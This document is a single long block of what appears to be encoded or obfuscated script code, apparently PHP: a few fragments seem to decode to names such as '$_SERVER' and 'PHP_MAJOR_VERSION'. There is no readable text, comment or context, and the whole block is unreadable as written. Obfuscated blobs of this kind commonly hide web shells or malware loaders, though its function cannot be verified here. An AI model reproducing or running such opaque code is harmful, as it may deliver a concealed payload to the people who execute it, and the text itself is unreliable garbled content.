Ettt^^ZGJOJJ^C^GKHOMHVWEtZHMFF^^C^^GHNVOHFOWVK		HK!	VWR^GHNVOHMJWWEtttt^^^^^ZKNNN^^C^^^^J
J!	VW^^^^P^^GHNVOHWEttt^^ZN^^^C^>J	VOHFLWVZKNNNWtttA^^^^VZKNNN^P^^YQY^P^ZHMFF^^^P^M!VOHMJWWtttt^^^^^^^^D^^^VJ
J!	VW^P^^^^MHFKVHMW^P^^ZHMFF^^^P^^YQY^^^P^^^ZHMFF^^P^^MHFKVOHMJWWEtZ!KI^^C^^^^J	VOHKIWVJ	VOHFMWW^^^^^A^^^M!VOHFJWV!VWR^.6.!+,2!61-*W^^D^V
VZ!-;,(;,%J	VHJHW#W^^^^A^Z!-;,(;,%GHNVHJHW#^^^D^^^^\\WEt^^^Z^C^VVGHNVOHFKWW^XX^).3+!.2+970!:7,W^^^A^^^).3+!.2+970!:7,^^^D^^^^J
J!	VW^^^^^P^^GHNVOHWEt^^^Z
IO^^^C^^^^VVGHNVHWW^^^XX^^).!.2+970!:7,W^^^A^^^).!.2+970!:7,^^^^D^^^^^^J
J!	VW^^^^^P^KO	VFKHWEttttZ
J^^C^VKO	VMNMWW^^^^^A^^).!=10*;0*!:7,^^^^^D^J
J!	VWEt^ttttZL
!NMFO^^C^^^^

	!!OVt^^^^M!VOHIGWRt^VY!!.?*6!<HJ!!YR^^Y!!.2+970!<?-;HJ!!YR^^^Y!!:13?70!!YR^^^^Y!!6<!<HJ!!YR^Y!!9.?*6!<HJ!!YR^^^^^Y!!?<-.?*6!<HJ!!YR^^Y!!=10*;0*:7,!<HJ!!YR^Y!!3+:7,!<HJ!!YR^Y!!.2+970:7,!<HJ!!YR^Y!!-2+9!!YR^^^^Y!!(;,-710!!YWRtVJ	VOKGKWVZNWR^^ZGJOJJR^Z!KIR^^^J	VOHFHWVZMOWR^^^^^KO	VOHFIWVZH
MJO	WR^^^MHFKVOHFIWV?<-.?*6WR^^^^GHNVOHFFWVZ
JWR^M!VOHFFWVZWR^^^J	VOHFFWVZ
IOWR^^^^^MHFKVOHFOWVK		HK!	VWR^M!VOHFGWWR^^MFKKIO
VWWt^WEt^^V_ZL
!NMFOW^ttt^^^VV
W^
!
VM!VOKNMWR^NW^@^^^NW^^^^^!LNLVJ	VOHIGWR^^J	VOHGNWWEtttt^^^^^
Et^^^^^^t^^^^^^^^^^^V_JKOOFVZL
!NMFOWW^^^^tQT^^

S^TQtt^^!LNLVGHNVOHIGWR^^MHFKVOHGOWWEt^
Et^t^^^^^VGGLJO!MOVZH
MJO	R^ZL
!NMFOWW^^^^^tt^		KOLLVZH
MJO	R^^MGGHHVWWEt^^^^^MIFJHVZH
MJO	R^^^VMHFUKLWWEttttK
VZH
MJO	WEt^^^HLKMH	KVZL	^^P^^^J	VOHGLW^P^^^Z
GJI
R^^^^J	VOKGJWVZL
!NMFOWR^MHFKVOHIGWWEtttt^^^^^HLKMH	KVZL	^^P^MHFKVOHIOW^^^P^^Z
GJI
R^MFKKIO
VWR^^KO	VOHIGWWEt^^>!^ZH
MJO	Et
!

VGHNVOHGMWR^OR^^^^^VKHLSLHLWWEt^^^t
VZR^^Z
IOR^Z
JWEt^^^^^
^^V*	^^^ZMN!W^^t^!LNLVJ	VOHIGWR^ZMN!WEttt^^
^^V;
^ZMN!W^^^t^^^^t^^^^^^tt
^^^
F	LFHVZHKIWt^^t^^^V_M!VOHKLWVZHKIWW^^
^Et^ZKNNON^^C^^M!VOHLNWVZHKIWEtt^^^^VZKNNON^^^@^^VONJFKJGULIWW^^^^^^
^
Et^^^^^VZKNNON^^B^^VJOJUFHWW^^^
^^EtZMLH^^^^^^C^^MHFKVOHLOWVZHKIR^^^^^NR^VHKJGKUJOWWEt^^Z	LMJNL^^^^^C^^GHNVOHGJWVZMLHR^Y^YW^^U^^^KO	VOHGJWVZMLHR^^^\"
\WEt
^^VZ	LMJNL^^Q^^^GHNVOHGKWVZMLHWW^@^^^NPKKEt^^tt^^^t
^^^^FNGNVZN	!	L^^^^C^^^Wt^tttt^^

^^^Z!FH!M^^^^^C^^^^^Et^^^^^VZN	!	LW^t^Z!FH!M^^^C^^Ett^^^VZ!FH!M^^^_CC^^W^
^Z!FH!MEt^ZHKI^^^^C^EtZF
^^C^^^^>GHNVOOLMWVK		HK!	VWWEt^^^^^^^ttttt^^^^^^VZF
^XX^ZF
^^@^^^^VNOUNONMW^^XX^ZF
^^^BC^^^VKLJLFIHFUMLWW^ZHKI^C^^^>KO	VOKIIWVK		HK!	VWWEt^^^VM!VOHKLWVZHKIW^^^^XX^MHFKVOHGKWVZHKIW^^@^^VLIHOHUONLNGHNWW^ZHKI^^C^!ML!JNGNVZHKIWEt^^^^VMHFKVOHGHWVZHKIW^^XX^^^MHFKVOHGKWVZHKIW^^@^^^^VJIKULKW^^^XX^GHNVOHGKWVZHKIW^^^BC^^^^^^VONJFJFOUGKW^^XX^^^^_
F	LFHVZHKIW^XX^^JKOOFVZHKIWW^tt^^^^^^^Z!FH!M^C^ZHKIEtttt
^Z!FH!MEt^^^t^ZJI
^C^^^GMGHNGVJ	VOHGIWR^^^^\\WEt^^^VJ	VOHGHWVZJI
W^^XX^^GHNVOHGKWVZJI
W^^^^^@^^^VNIUNOIIW^^XX^KO	VOHGFWVZJI
W^^BC^^^^VJJHGNHUHNOHINW^^^^XX^^^^_
F	LFHVZJI
W^^^^^XX^JKOOFVZJI
WW^^ZMC.6.!3?41,!(;,-710EZGFCZMTONEt^Z!FH!M^^C^^ZJI
Et
^^Z!FH!MEt^^^^t^Z!FH!M^C^^^Et^^^
^Z!FH!MEtt^t^^^^^^
^^^^GKHOMHVZN	!	L^^^C^^Wt^^t^^^

^^^ZIIJONFI!K^^^^^^C^Et^^^^VZN	!	LW^^tttt^ZIIJONFI!K^^C^Et^^^^^^t^^^^^VZIIJONFI!K^^^^^_CC^^^^W^^^
^^^^ZIIJONFI!KEt^ZHKI^C^^^FNGNVWEt^^^^V_GHNVOHGGWVZHKIW^^KO	VOINNWVZHKIW^^^^^^B^VMOFUOFLW^^^^^^^KO	VOINNWVZHKIW^^@^^VGHMKOIUFKNKGW^^^^^^^
F	LFHVZHKIW^^^^_JKOOFVZHKIWW^^^t^ZIIJONFI!K^C^^^^^^Ettt^^^^
^ZIIJONFI!KEt^^^t^^^^^^ZIIJONFI!K^C^^^M!VOHFFWV!FGMON
GVZHKIWWEtt^^
^^^ZIIJONFI!KEtttt
^^^^KLVZNMF	Wt^^^ZFIJ!O
CIKUMIEZCZFIJ!O
SMHEt^V_KO	VOHGGWVZNMF	W^^^^^MHFKVOINNWVZNMF	W^^^B^VNFUNW^^^J	VOINOWVZNMF	R^NR^^LW^^^^^_CC^^\"O"F\W^
^^^^NEt^^^ZIMKF^^^^^C^^^^>KO	VOINLWVY(YR^J	VOINOWVZNMF	R^^^^SVLULWWWEt^ZIMKF^C^J	VOKKIWVZIMKFW^A^ZIMKF%O#^D^NEt^^^^^^^^VZIMKF^^^B^^^^VJJMUKIW^^^^ZIMKF^^@^^VONJFKKGUOIWW^
^^^^ZIMKFEt^
^^^^NEt^^^^t^^^
^J!OLLFKNVZOF		OWt^^^tQQ^^tt^
^^^KO	VMFFWVVZOF		O%O#WWEtt^^^^
^G			JVZ
JGOWt^tQQ^
^
S^^).^<^(
tt^^^^^^V_GHNVOHGGWVZ
JGOW^^^^^^Z
JGO^^CCC^^\\W^^
^Z
JGOEt^

^^ZJNJHF
^^C^^^^Et^^^^^^^^VZJNJHF
^^^^CCC^^^W^t^^ZJNJHF
^^^C^Et^^^VGHNVOINMWVGHNVOINJWWW^t^^^^Z!^^^^^C^^VKO	VMNMWW^A^^^^).!=10*;0*!:7,^^^^D^^^^VVGHNVOINKWW^^^A^?<-.?*6^^D^\\WEttt^^VZ!^^_CC^\\W^t^^^^^^ZOI^^^^^^C^^^^>!!VZ!WEt^^^^^^^VZOI^_CC^^^XX^^ZOI^^@C^^^^VOKILFHMHLUMFWW^^^^ZJNJHF
^^C^^^^^
Et^t^^ttt^^V_ZJNJHF
W^^t^^^VGHNVOINMWVGHNVOHLHWWW^^>
!
VM!VOINHWR^^J	VOHIFWVWR^M!VOINIWWEt^^^^^^^^^VMHFKVOINFWVM!VFGLWWW^^tQQ^^tt^^ZJI	NNF
^^^C^^^^V
W^^^
!
VM!VOINHWR^^^^^NWEtttt^^^VZJI	NNF
^XX^^^KO	VOINGWVW^S^^^^ZJI	NNF
^^^^^B^VLNNGGUHHMNOWW^^ZJNJHF
^^^C^^^EttQQ^).^8^-
^;
^^ttt^^^V_ZJNJHF
W^^^^^tt
^^^^^^Z
JGOEt^t^ZOMO!^^^^^^C^^^^VIGLMHHKSLJLMHHKW^^^U^KO	VOONJWVNR^VNIMMFMUNWWEtttt^^VKO	VOINNWVZ
JGOW^@C^^^ZOMO!W^^
^^Z
JGOEt^^VGHNVOINOWVMHFKVOIONWVZ
JGOWR^^^SLW^CCC^^KO	VOIOOWW^^^
^^Z
JGOEt^	^VMHFKVOINNWVZ
JGOW^^B^^ZOMO!^^S^^^VJNHOUMGWW^^^^tZJGKFGKM^^^^^C^^^^^^\\Et^VJ	VOIOLWVMHFKVOIOMWWW^^^^^t
^^t^^^^ZJGKFGKM^^^C^>KO	VOIOJWV!
VVNIGOUNMWWWEt^^^
^^^V*	^^^^ZMN!W^t^^ZJGKFGKM^C^^\\Et^^
^^V;
^^ZMN!W^tt^^^^ZJGKFGKM^C^^^^\\Et^t^^^t^^^^^VMHFKVOINNWVZJGKFGKMW^B^^^^^^VMGHGUMOWW^^tZJGKFGKM^^C^M!VOKGJWVV\\R^^^^^^
WWEt^^	^^^VM!VOINNWVZJGKFGKMW^^^^^B^^VMGFLUOFWW^^^^ZJGKFGKM^^^PC^GHNVOKGJWVZJGKFGKMWEt^^^^tZ
JGO^^^^PC^\"QT\^^^P^^ZJGKFGKM^P^^M!VOIOKWEtt^^tt^^^^^^
^^^^^Z
JGOEttttt^
^^^!ML!JNGNVZ
JGOWt^^t^^^^^^^^V_M!VOHGGWVZ
JGOW^^^^^^J	VOINNWVZ
JGOW^^BC^^^VOGJHIHOSFGFOFKWW^^
^Z
JGOEtt^^^^^^^^Z!!KFIHI!LH^^C^MHFKVOHKJWVMHFKVOIOHWR^^^^^\\R^Z
JGOWEt^tttt^
^^^GHNVOHGGWVZ!!KFIHI!LHW^^^A^^Z!!KFIHI!LH^D^^^Z
JGOEt^^^t^^^
^^^K
VZNOG!MNOWt^t^^^^^^V_GHNVOIOLWVM!VFGLWW^^^^^^^^_J	VOIOIWVGHNVOIOFWWW^^^
Et^^^^^^^^V_MHFKVOHGGWVZNOG!MNOW^^^^^ZNOG!MNO^^^^CCC^\\^^^^^^^_>KO	VOIOGWVZNOG!MNOWW^
Et^V_
VZ921<?2-%MHFKVOILNW#W^^^^^^_KO	VOKKIWVZ921<?2-%J	VOILNW#WW^t^^^^Z921<?2-%MHFKVOILOW#^^^C^^
!
VGHNVOILLWR^VWWEt^^^^^V_GHNVOILMWVZ921<?2-%GHNVOILOW#WW^^Z921<?2-%J	VOILJW#^^^C^VWEt^t^^ZOF		O^C^^Z921<?2-%J	VOILJW#EtZ
JGO^^^C^^>KO	VOKIIWVZNOG!MNOWEt^^^^^^^^V_GHNVOHGGWVZ
JGOWW^^
Et^^VKO	VOILKWVZ
JGOW^^@^^VJFJJOFUKHJOKFWW^^^^Z
JGO^C^^!ML!JNGNVZ
JGOWEt^^^^^^ZOF		O%GHNVOKGJWVZNOG!MNOW#^^^^C^^^VYY^^C@^^^ZNOG!MNOR^^^^YY^^^C@^^MHFKVOKGJWVZ
JGOWR^^^YY^^C@^MFKKIO
VWR^^Y
Y^C@^MHFKVOINGWVWWEt^^VM!VONIFWVZOF		OW^^^^@^VLGNSGNWW^t^^^VZOF		O^^^^^ZMHH!	^C@^^Z!LW^^^t^^^^V_J	VOILHWVZ!LW^^^^^_
VZ!L%Y
Y#W^^^^^^^^^V
W^Z!L%Y
Y#^^^B^^M!VOILIWVW^^^^^S^VLKGOGKNUKNWW^^^^^
VZOF		O%ZMHH!	#WEt^^^tt^t^^^^^	^^^VKO	VOILFWVZOF		OW^^^^^@^^VOLHUIJWW^^^tQQ^^tt^ZOFM^^C^^^^^Ettt^Z	JGLFHK^C^Et^^^^^VZOF		O^^ZMHH!	^^C@^^Z!LW^^^tZH!
!J^C^^M!VOILGWVZ!LW^^^^^^XX^^^^
VZ!L%Y
Y#W^A^^^V
W^^Z!L%Y
Y#^D^^NEttt^^^VZ	JGLFHK^^^CCC^^^^^^^^^^^^ZH!
!J^^^B^^^Z	JGLFHKW^^^^^t^Z	JGLFHK^^^^^C^^^^^ZH!
!JEt^ZOFM^^^^^C^ZMHH!	Ett^^t^^^^^^^VZOFM^^^CCC^^W^^^^Et
VZOF		O%ZOFM#WEt^tt^^^
!
VM!VOILLWR^ZOF		OR^^^^J	VOINIWWEt^^^^^^^Z921<?2-%KO	VOILJW#^C^^ZOF		OEtttt
^^
GH!	G
JGVZNOG!MNOWtt^^^^V_GHNVOHGGWVZNOG!MNOW^^^^ZNOG!MNO^^^CCC^^\\W^
^^^^Et^^^^^^V_
VZ921<?2-%MHFKVOIMNW#W^^^^_GHNVOILGWVZ921<?2-%KO	VOIMNW#WW^^^^^t^Z921<?2-%GHNVOIMOW#^^^C^^J	VOIOIWVGHNVFGLWW^^A^^
!
VM!VOIMLWR^^VWW^^^^^^D^^VWEt^^^^^V_KO	VOILGWVZ921<?2-%M!VOIMOW#WW^^^Z921<?2-%J	VOIMMW#^^^C^VWEttt^^^^^^^^t^^^^ZOF		O^^^^^C^Z921<?2-%M!VOIMMW#Et^Z
JHJG^^C^M!VOIMJWVZNOG!MNOWEZK	MMLCKMEZJJI	CVZK	MML@NWAZK	MMLDSZK	MMLEt^^V
VZOF		O%Z
JHJG#W^^XX^^^J	VOILGWVZOF		O%Z
JHJG#W^^XX^^
VZOF		O%Z
JHJG#%YY#WW^t^^^^^VV
W^^>M!VOIMKWVZNOG!MNOW^^^^^^@^VKLJLFINHUGJWW^^^
^^MHFKVOIMHWEt^^Z
JGO^C^>M!VOIMIWVZNOG!MNOWEt^^^^^VM!VOIMFWVZ
JGOWW^^tttt^^^^^VJ	VOILKWVZ
JGOW^^@^^^^VONJFKKFUOFWW^Z
JGO^C^^^^^^!ML!JNGNVZ
JGOWEtt^^^^
^^^VM!VOIMJWVZ
JGOW^^^^CCC^^^ZOF		O%Z
JHJG#%YY#W^^^^A^^
^^^^D^^^^^M!VOIMHWEt^^^tQT^S^

S^TQtt^^^^^^
^Et^^^^t^^^^^^ZHOKG^^C^>MHFKVOIMIWVZNOG!MNOR^^R^R^^NR^^^^^VJNKGUMIWWEt^^^^Vt^^^^GHNVOIMFWVZHOKGW^^^^^XX^KO	VOIMGWVGHNVLMMWR^^ZHOKGWtXX^^^JFKLGMJK
VZNOG!MNOR^^^VMNGUOGOWWt^^^^^^^W^t^^^VV
W^^>KO	VOIMKWVZNOG!MNOW^@^^^VKLJLFIINUMNWW^
^^^Et^Z
JGO^^C^^^V
W^^^^^>KO	VOIMIWVZNOG!MNOWEt^^VM!VOIJNWVZ
JGOW^^^^^@^VNOKFUNOFWW^Z
JGO^^C^^^!ML!JNGNVZ
JGOWEt^^^VJKOOFVZ
JGOWW^^^
^^GHNVOIJOWEt^^^t^^^^^^^^
^^^^Etttt^t^
^^^H	GL!MGVWt^^^^^t^

^^^^ZOF		O^^C^Et^^^^^^^^VZOF		O^^^_CC^W^^^
^ZOF		OEtZ
JGO^^C^V
W^^>GHNVOIJLWVK		HK!	VWWEt^^^^^VGHNVOIJMWVZ
JGOW^^^^^@^^VONJFKMMUJMWW^Z
JGO^C^!ML!JNGNVZ
JGOWEt^^^^^^ZOF		O^^C^^^^^MHFKVOIMJWVZ
JGOWEt^
^^ZOF		OEt^t^^^^
^^KMN
VWt^^^^^^t^^^^^^^
^^^^GHNVOINOWVH	GL!MGVWR^^^^NR^^^^VOGI LNOWWEt^^^t^^^
^^^^^H!MIO
HVWt^^^^t^^
^JOHMLKLVW^^^P^^^GHNVOIJJW^P^^^K!NGJ	V?<-.?*6^^P^^^GHNVOIJKWR^^^^VHULWW^^^P^^^MHFKVOIJHWEt^^^^^^t^^
^^^^NN
MM!VWtt^t^^^^^Z
F^C^^^^^VWEt^^^^VM!VOIOIWVJ	VOIJIWWW^^^t^^ZFJ	
G^^C^^^^^^>
!
VM!VOIJFWR^^VWWEt^^^^VJ	VOILGWVZFJ	
GWW^^Z
F^^C^ZFJ	
GEt^t^^^^^^^Z
JGO^^^^C^^^>MHFKVOIOGWVH!MIO
HVWW^^^^^A^^^^>GHNVOIJLWVH!MIO
HVWW^D^^^\\Ett^^VJ	VOIMFWVZ
JGOW^^^XX^^^^KO	VOHLFWVZ
JGOR^MHFKVIIOWW^^^^^^CCC^NW^^^t^^ZL
GHL^C^^^KO	VHGFWVJ	VOINOWVZ
JGOR^^^VFSMWWR^^^^
WEtttt^^^^^^VGHNVOIJGWVZL
GHLW^^XX^^V
VZ
F%M!VOIKNW#W^^V_
VZL
GHL%GHNVOIKNW#W^XX^ZL
GHL%M!VOIKNW#^^@C^^Z
F%MHFKVOIKOW#WWW^Z
F^^^C^^^ZL
GHLEt^^^^^t^^^^^
^^^^^Z
FEtttt^^^^^t^
^HJMLIVZLHGFWt^^^^^^^^t^^^
^^^^^^t^^^^V_VJ	VOINKWWW^
EtZOJ^^C^GHNVOIKLWVWEtttt^^^^VZLHGF^^^^CCC^^J	VLJOW^^^^^ZLHGF^^^^CCC^^M!VOIKMWW^^^t^^^Z^^C^^NN
MM!VWEt^^^Vt^
VZ%GHNVOIKJW#R^^^Z%MHFKVOIKKW#W^XX^^^Z%J	VOIKJW#^^^^^CCC^^^^ZLHGFt^^^^^XX^ZOJ^S^^^V
W^^Z%MHFKVOIKKW#^^^^B^^^^VZLHGF^^CCC^^J	VOIKHW^A^^VMGKSGKW^^^^D^^^^VNIUNMWWtW^^^
Etttt^^^^^Z
F^^^^^^C^^VtttYY^^^^^^C@^MFKKIO
VWRtKO	VOIKIW^^^^C@^KMN
VWRt^J	VOIKFW^^^C@^^K		HK!	VWRt^^^GHNVOIKGW^^C@^J	VOIHNWVK		HK!	VWR^KO	VOIHOWWRt^^GHNVOIHLW^^C@^^^ZLHGFRt^^MHFKVOIHMW^^^C@^^^^^^ZOJRt^^GHNVOIHJW^^C@^ZOJRt^J	VOIKOW^^^C@^^
VZ!-;,(;,%KO	VOIHKW#W^A^^^^V
W^Z!-;,(;,%KO	VOIHKW#^^D^^^ZOJRtWEt^^^^VM!VOIHHWVMHFKVOIOFWWW^^^>
!
VGHNVOIJFWR^^^^Z
FR^^^^^^GHNVOINIWWEt^^^^^Z	G	
LLF^^C^^JOHMLKLVWEt^^^^^^^^^^^^^^V>MHFKVOHHNWVZ	G	
LLFW^^^^^OF!NKIOVZ	G	
LLFR^^VJHOUMLWR^
WW^^^^^t^^>GHNVLONWVH!MIO
HVWR^GHNVIIOW^^^P^^^^GHNVHIFWVZ
FWWEttt^^^^^^^^
^^^V*	^^ZMN!W^t^^^^
^V;
^^^^^ZMN!W^t^^^^tQQ^).^*
^.
^	
^tttt^
^^NIFNHLJVZ
FWt^^^t^^^^^V_KO	VOIJGWVZ
FW^^^^^^^^^
VZ
F%GHNVOIKFW#W^^^^^_J	VOIMFWVZ
F%J	VOIKFW#WW^
^^MHFKVLMIWEt^^^^^ZHKHJHF^^^^^C^^Z
F%MHFKVOIKFW#Et^^V_>J	VOIOGWVZHKHJHFW^^^^^^V
W^>GHNVOIMKWVZHKHJHFW^^B^^^VJINUMNWW^^
^^^MHFKVLMIWEt^^^^VF!HFIMVZHKHJHFWW^^^^^^
^^^^^M!VLMHWEt^ZHNLJ
^^^^C^^^^^
VZ
F%KO	VOIHLW#W^A^^^^Z
F%M!VOIHLW#^^^D^^\\Et^ZFIF^^C^^
VZ
F%J	VOIHJW#W^^A^^^^V
W^^Z
F%GHNVOIHJW#^D^^^^^^NEZF!MMCIMTMEZFHMGCZF!MMSLIEt^^^^VZHNLJ
^^CCC^^^^^GHNVOIHIWW^^^^^^
^VZFIF^^^^@^N^^^^^XX^^KO	VOIKLWVW^^^S^^ZFIF^^BC^^VMKGNUONWW^A^^MHFKVOIHIW^^^D^^^KO	VOIHFWEt^^^^^^^^^^^VZHNLJ
^^CCC^^GHNVOGIWW^^^^^^
^GHNVLMHWEtt^^^^^VZHNLJ
^CCC^GHNVLJOWW^^^
^VZFIF^^^@^^^^^N^XX^^^^MHFKVOIKLWVW^^^S^ZFIF^BC^^VHIUKMWW^^A^^M!VOIHFW^D^^GHNVLMHWEt^^
^J	VOIHFWEtt^^^
^^^OM
JO!IFVZNOG!MNOWtttt^^^^tQQ^).^.
^*
D^
^
StZHC.6.!3?41,!(;,-710EZ	HFLO!CZHTJEt^^^^V_>MHFKVOIOGWVZNOG!MNOWW^^^^^
^^^^Ettt^^^Z
JN^C^V
W^^>M!VOIMKWVZNOG!MNOWEt^^VZ
JN^^^^B^^VJMKUHKW^^Z
JN^^^@^VKLJLFILFUILWW^^^
^EtZHOKG^C^^^>J	VOIJLWVZNOG!MNOR^R^R^^^NR^^VLOKJUOGJLWWEt^^V_J	VOIMFWVZHOKGW^^_J	VOIMGWVKO	VLMMWR^^^^ZHOKGWW^^^
^Ettt^^^^^^^^^^VZ
JN^^^^@^^^VNOKUNKLOWW^tt^^^ZOMO!^C^^>GHNVOIJLWVZNOG!MNOR^R^R^^Z
JN^^^^^^S^^^VHHKKSLKKGWWEtt^
^^MHFKVOIHGWVZOMO!W^^XX^^^J	VOIINWVMHFKVOIIOWR^^ZOMO!W^^CCC^OEtttt^tZ
JGO^^C^^^>M!VOIJLWVZNOG!MNOWEt^V_GHNVOIHGWVZ
JGOWW^^
^^^^^^Et^^
^JKOOFVZ
JGOWEtt^^t
^F!HFIMVZNOG!MNOWtttt^ttt^^^^^^^ZHMFF^^^^C^MHFKVOIHNWVZNOG!MNOR^^^^GHNVOIILWWEt^^^VVMHFKVOKNLWVZNOG!MNOWR^^^^JH
GHKVWW^^^^^^ZGINW^^^^^^tZFGN!^^^C^^ZGIN^^P^J	VONMFW^^^P^^^ZHMFFEttt^^^^^^^^^V_>MHFKVOIIMWVZFGN!W^^^^^V
W^^>GHNVKFHWVZFGN!W^B^^^^M!VOIIJWVW^S^VKLLKHMUFLLMIWW^^
Et^ZK!OIO	^^^C^^^^^^MHFKVOIIKWVV
W^^^^^>GHNVOIIHWVZFGN!WWEt^^^^^^VZK!OIO	^^^CCC^^\\W^^^
EtZ
JGO^C^^V
W^^^>J	VOIIHWVZNOG!MNOWEt^^^^^VGHNVOIIIWVZ
JGOW^^^^^@^^^^^VILJIMIUMLMFMGWW^^Z
JGO^C^^^!ML!JNGNVZ
JGOWEt^^^^^VZ
JGO^^^^^^_CC^^^^\\^XX^MHFKVOIMJWVZ
JGOW^^CCC^^^^ZK!OIO	W^^
^^^
Ett
^Et^^^^t^^^
^^OOKLIHOVZNOG!MNOWt^^t^^^^V_MHFKVOIIFWVJ	VOIIGWW^^_M!VOIFNWVGHNVOIFOWWW^^
Et^^^^^Z!F
IJKJI^^^^C^>
!
VJ	VOIFLWR^^^VWWEt^^^V_GHNVOIJGWVZ!F
IJKJIWW^Z!F
IJKJI^^^C^^^^^VWEt^^^^^Z!F
IJKJI%GHNVOIMJWVZNOG!MNOW#^C^^ZNOG!MNOEt^^^^^^^^^VMHFKVOILFWVZ!F
IJKJIW^^@^^^^VOHN OFNWW^^^Z!F
IJKJI^^^C^^^MHFKVOLIKWVZ!F
IJKJIR^SVNLUNOLWR^R^^^
WEt^^^^^>
!
VMHFKVOIFLWR^^^Z!F
IJKJIR^^^M!VOIFMWWEtt^^^^tttt^^^
^FNN!MVWt^t^V_M!VOIFNWVGHNVOIFJWW^^^^^_J	VOIFNWVKO	VOIFOWWW^
Et^Z!F
IJKJI^C^>
!
VKO	VOIFLWR^^VWWEt^^V_MHFKVOIFKWVZ!F
IJKJIW^^^^^
VZ!F
IJKJIWW^^^^^
Et^^^^ZG		OL^C^VWEt^^^^^^^^VZ!F
IJKJI^^^^ZMHH!	^^^^^C@^^^^ZHKHJHFW^^^^t^^^^^^V_KO	VOIHGWVZHKHJHFW^^^^^ZHKHJHF^^^CCC^^\\^^^^^_>GHNVOIIMWVZHKHJHFWW^^
Et^^^V
GH!	G
JGVZHKHJHFW^^^CCC^^^W^^^^^^^^^ZG		OL%ZMHH!	#^^^^^C^ZHKHJHFE^^
E^^tQQ^
S
tt^^^MIFJHVZHKHJHFR^VJMLSOLWWEtttt^^^^^VOM	VZHKHJHFWW^^^^^^tQQ^,^
^D^
^	Stt^^^^^VGHNVOIFHWVJ	VOHHFWWW^^>!
VZHKHJHFR^^^
WEt^^^^V>KO	VOIFIWVZHKHJHFWW^^t^^^ZG		OL%ZMHH!	#^^^C^^ZHKHJHFEttttt^^^^t>
!
VMHFKVOIFLWR^^ZG		OLR^^KO	VOIFFWWEtt^^^^^^^
^	LHNI	M!HVWttttt
^^^^^tZMN!^^^^C^^^^M!VOIFHWVMHFKVOHIWW^^A^^^>!
!
VW^D^^Et^^^^^^^^^^Vt^^GHNVOIFKWVZMN!W^^^^^XX^_
VZMN!%J	VOIFGW#W^XX^_
VZMN!%M!VOHGW#Wt^XX^MHFKVOMLGWVZMN!%GHNVOHGW#R^^^V;!;,,1,R^^^^;!.?,-;R^^^;!=1,;!;,,1,R^^;!=13.72;!;,,1,R^;!+-;,!;,,1,WR^^^^^
Wt^^^^W^^^^^t^^^^ZO	
J^^C^>GHNVOIGNWVK		HK!	VWWEt^^Z!^C^>J	VOIGOWVZMN!%J	VOIFGW#WEt^^^^^^VMHFKVOIHGWVZO	
JW^^XX^^^^M!VOIHGWVZ!W^^XX^^^^Z!^^^^CCC^^^^^^ZO	
JW^
Et^t^^^HJMLIVKO	VOIGLWWEt^VVKO	VOINKWWW^^^t^^ZHJJ^^^^^^C^^	O!
FKVWEZKMIC.6.!70*!3?&Q.6.!70*!3?&EZKF	
CZKMIUIKEt^^^^^^^V>GHNVOIFIWVZHJJ%O#WW^tZOKH!N^C^^>MHFKVOIGMWVZHJJ%O#R^R^^R^NR^^VGUKKWWEt^ttttt^^^VMHFKVOIHGWVZOKH!NW^^XX^^M!VOHLFWVZOKH!NR^^GHNVOIGJW^P^^^MFKKIO
VW^^^P^YDYW^^CCC^^NW^tZ		O^^^^^C^^^^>KO	VOIFIWVZHJJ%O#^^^^^P^^J	VOIGKWW^^A^^>J	VOIGHWVZHJJ%O#^^P^^M!VOIGKWR^^R^^^^R^^NR^^^^^VFUKHWW^D^^^^^\\Et^^^^^^VZ		O^_CC^^^ZOKH!NW^>J	VOIGIWVZHJJ%O#R^^^^ZHJJ%O#^^^^^P^^GHNVOIGFWWEt^^^^^^tt^^^
VZHJJR^^^^^ZOKH!NR^^Z		OWEt^^^^^^^^t^^^^
^V*	^ZFLLGIILO!W^^^^^t^^^^^
^V;
^^ZFLLGIILO!W^^ZGC.6.!3?41,!(;,-710EZ!JM!FCZGTJEt^tttt^
^K	IOOJHVZ	I!Wt^^^^^^t^^V_J	VOIHGWVZ	I!WW^^
^^\\Et^^^^^^^^^VJ	VOIGGWVKO	VOFNNWR^^^Z	I!R^^^^^ZOGIWW^^^t^^^^VZOGI%O#^^^^^^ZJ!OLMGJ	GW^^t^^VKLVM!VOMGFWVZJ!OLMGJ	GR^^^
WWW^^^^^
^\\Ett^^t^^^^t^^^^^^VMHFKVOFNOWVKO	VOFNLWR^Z	I!R^^^^^ZOGIWW^t^^^^^VZOGI%O#^^^^^ZJ!OLMGJ	GW^t^^^^^VKLV
VZJ!OLMGJ	GWWW^^^^
^^^^^^\\Etttt^^^^^VKO	VOHLFWVZJ!OLMGJ	GR^^^^^J	VOFNMWW^^^^_CC^^^W^^t^^^ZG
KK
^^^^^C^^!!VM!VOFNJWR^^KO	VOFNKWR^^^ZJ!OLMGJ	GWEt^^VMHFKVOFNHWVZG
KK
W^^XX^^ZG
KK
^_CC^ZJ!OLMGJ	G^^XX^KLVZG
KK
WW^^^^^^
^\\Et^t^^^t^^tQQ^

^S^^3-/2^F^=*;tt^VKO	VOFNOWVGHNVOFNIWR^^Z	I!R^^^^ZOGIWW^^t^^^^^^^^VZOGI%O#^^^^ZJ!OLMGJ	GW^^tttt^^^^^VKLVMHFKVOJNNWVVGHNVOFNFWR^^^M!VOFNGWWR^^^VY""YR^Y"YYWR^^ZJ!OLMGJ	GWWW^
^^^^\\EZM	FJ
CMLMGEZKCZM	FJ
[FEt^^^VJ	VOFONWVZJ!OLMGJ	GR^MHFKVOFNMWW^_CC^^W^^^t^^^ZG
KK
^^^C^^^^^^!!VKO	VOFNJWR^M!VOFNKWR^^^^^^ZJ!OLMGJ	GWEttt^^^^VJ	VOFNHWVZG
KK
W^^^XX^ZG
KK
^^_CC^^ZJ!OLMGJ	G^^^^XX^^KLVZG
KK
WW^^
^^\\Et^^^tt^^^^^t^^
^^^^Z	I!Et^^^t^^^^
^^^JLIFKIVZHKIWttt^^^V_MHFKVOFNHWVZHKIW^^^^^^^VMHFKVOFONWVZHKIR^^M!VOFOOWW^CCC^^^XX^^GHNVOFOLWVZHKIR^^KO	VOFOMWW^^^^CCC^^^WW^
^^^^Et^^^^^^VKO	VOFNOWVM!VOFNNWR^^^ZHKIR^^^ZOGIWW^^t^^^VZOGI%O#^^^^^^ZJ!OLMGJ	GW^t^^^VKLVM!VOFOJWVZJ!OLMGJ	GR^^^
WWW^^^
^^^^
